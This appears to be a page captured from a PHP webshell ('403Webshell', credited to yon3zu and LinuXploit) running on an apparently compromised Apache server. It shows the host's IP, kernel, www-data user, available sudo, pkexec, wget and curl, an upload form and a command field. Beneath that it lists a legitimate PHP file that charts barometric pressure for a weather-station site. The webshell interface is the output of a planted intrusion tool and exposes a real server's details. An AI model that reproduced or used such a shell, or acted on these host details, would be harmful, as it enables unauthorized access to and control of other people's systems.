403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /projects/isvtg/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /projects/isvtg/graf-bar.php
<!DOCTYPE html>
<!--
******************************
 Project: Vetroing, 2023
 Version: PHP 5-7
 Author : M. Kukic
 Note   :
******************************
-->
<html>
<head>
<style>
table, th, td {
    border: 1px solid gray;
	border-collapse: collapse;
}
th, td {
    padding: 4px;
    text-align: center;
}

</style>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel='shortcut icon' type='image/png' href='favicon.png'/>
<meta http-equiv="refresh" content="20">
<title>VetroIng</title>
</head>
<body>
<div style="width:720px; word-wrap:break-word;">

<?php
//
include "config.php";
//
// GET metod prenosa
//$st = $_GET["st"];
$plus = $_GET["plus"];
$st=0;
$stanica=$ams[$st];   //CA0
//
include "hed.php";
echo "<b>Atmosferski pritisak</b><br><br>";
$pn=$amspn[$st];
include "graf-hdr.php";
	
echo "<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='682' height='440'>";
echo "<rect width='682' height='420' fill='rgb(253,248,243)' stroke-width='1' stroke='rgb(0,0,0)' />";
echo "<g stroke='gray'>";
    
	$k=0;
	for ($x = 12; $x < 682; $x=$x+12) { 
	  $k++;
	  $x1=$x;
      $x2=$x;	 
	  if ($k==2){
	  $y1=424;
 	  $y2=406;	  
	  echo "<line x1=".$x1." y1=".$y1." x2=".$x2." y2=".$y2." />";	
      $k=0;	  
	  }else{
      $y1=424;
 	  $y2=414;		  
      echo "<line x1=".$x1." y1=".$y1." x2=".$x2." y2=".$y2." />";
	  }
     }
echo "</g>";
//
$dy=875;
$h=1.75;
$dty=-5;
$dtx=5;
$s1=875;
$s2=1075;
$dp0=420-(1013-$dy)*$h;
$dpn=420-($pn-$dy)*$h;
$ds1=420-($s1-$dy)*$h;
$ds2=420-($s2-$dy)*$h;
$dz=($p0-$nap)*$h;
//
echo"<g stroke='red'>";
echo "<line x1='0' y1='".$dpn."' x2='682' y2='".$dpn."' />"; 
echo"</g>";  
echo"<g stroke='green'>";
echo "<line x1='0' y1='".$dp0."' x2='682' y2='".$dp0."' />"; 
echo "</g>";
echo"<g stroke='gray'>";  
echo "<line x1='0' y1='".$ds1."' x2='682' y2='".$ds1."' />";   
echo "<line x1='0' y1='".$ds2."' x2='682' y2='".$ds2."' />";   
echo "</g>";
//
$dp0=$dp0+$dty;
$dpn=$dpn+$dty;
$ds1=$ds1+$dty;
$ds2=$ds2+$dty;
//
echo "<text x='".$dtx."' y='16' font-size='15'>P [mb]</text>";
echo "<text x='".$dtx."' y='".$dp0."'>1013.3</text>";
echo "<text x='".$dtx."' y='".$dpn."'>".$pn."</text>";
echo "<text x='".$dtx."' y='".$ds1."'>".$s1."</text>";
echo "<text x='".$dtx."' y='".$ds2."'>".$s2."</text>";
echo "<text x='674' y='410'>t</text>";
//
// P
echo"<g stroke='green'>";
echo "<line x1='415' y1='15' x2='440' y2='15' />";   
echo "</g>";
echo "<text x='445' y='20'>BMSL</text>";
// P
echo"<g stroke='blue'>";
echo "<line x1='500' y1='15' x2='525' y2='15' />";   
echo "</g>";
echo "<text x='530' y='20'>Baro</text>";
//
                $k=0;
                $row = mysql_fetch_array($result);
				$y1=420-($row['baro']-$dy)*$h;	
				$z1=$y1-$dz;
				
				
			for ($x = 0; $x < 682; $x=$x+$xst) { 
				$k++;
				$row = mysql_fetch_array($result);
				$x1=$x;
				$x2=$x+$xst;
				$y2=420-($row['baro']-$dy)*$h;
				$z2=$y1-$dz;
                
				if ($k<$numofrows)
                {				
					echo "<g stroke='blue'>";				
					echo "<line x1=".$x1." y1=".$y1." x2=".$x2." y2=".$y2." />";
					echo "</g>";
					if ($plus==1)
					{	
						echo "<g stroke='green'>";				
						echo "<line x1=".$x1." y1=".$z1." x2=".$x2." y2=".$z2." />";
						echo "</g>";
					}
				}
				$y1=$y2;
				$z1=$z2;
			}
echo "</g></g>";
//echo "<text x='5' y='439'>AMS ".$ams[$st]." Time ".$ts." # ".$te."</text>";		
include "graf-ftr.php";
echo "</svg>";
//
echo "</table>";
echo "<br>";
//MIN - MAX
echo "Baro: ";
$par_db="baro";
include "graf_mim.php";
	if ($plus==1)
	{
		$par_mn=round(($par0+($p0-$nap)),1);
		$par_mx=round(($par1+($p0-$nap)),1);
		$par_pr=round(($par2+($p0-$nap)),1);
		echo "<br>BMSL: ";
		//echo str_repeat('&nbsp;', 5);
		echo "Min: <b>".$par_mn.str_repeat('&nbsp;', 5)."</b> Max: <b>".$par_mx.str_repeat('&nbsp;', 5)." </b>AVG: <b>".$par_pr."</b>";

	}
	
if ($vap==5) {
	mysql_close($dbh);	
}else{	
	mysqli_close($dbh);	
}	
?>

<hr>
<img src="img/b_white-2.png">
<a href="javascript:history.go(-1)"><img src="img/r_ret.png"  width="" height="48"></a><img src="img/b_white-1.png"><a href="graf-b.php?plus=1"><img src="img/r_plus.png"  width="" height="48"></a>
</div>
<?php include "fut.php";?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit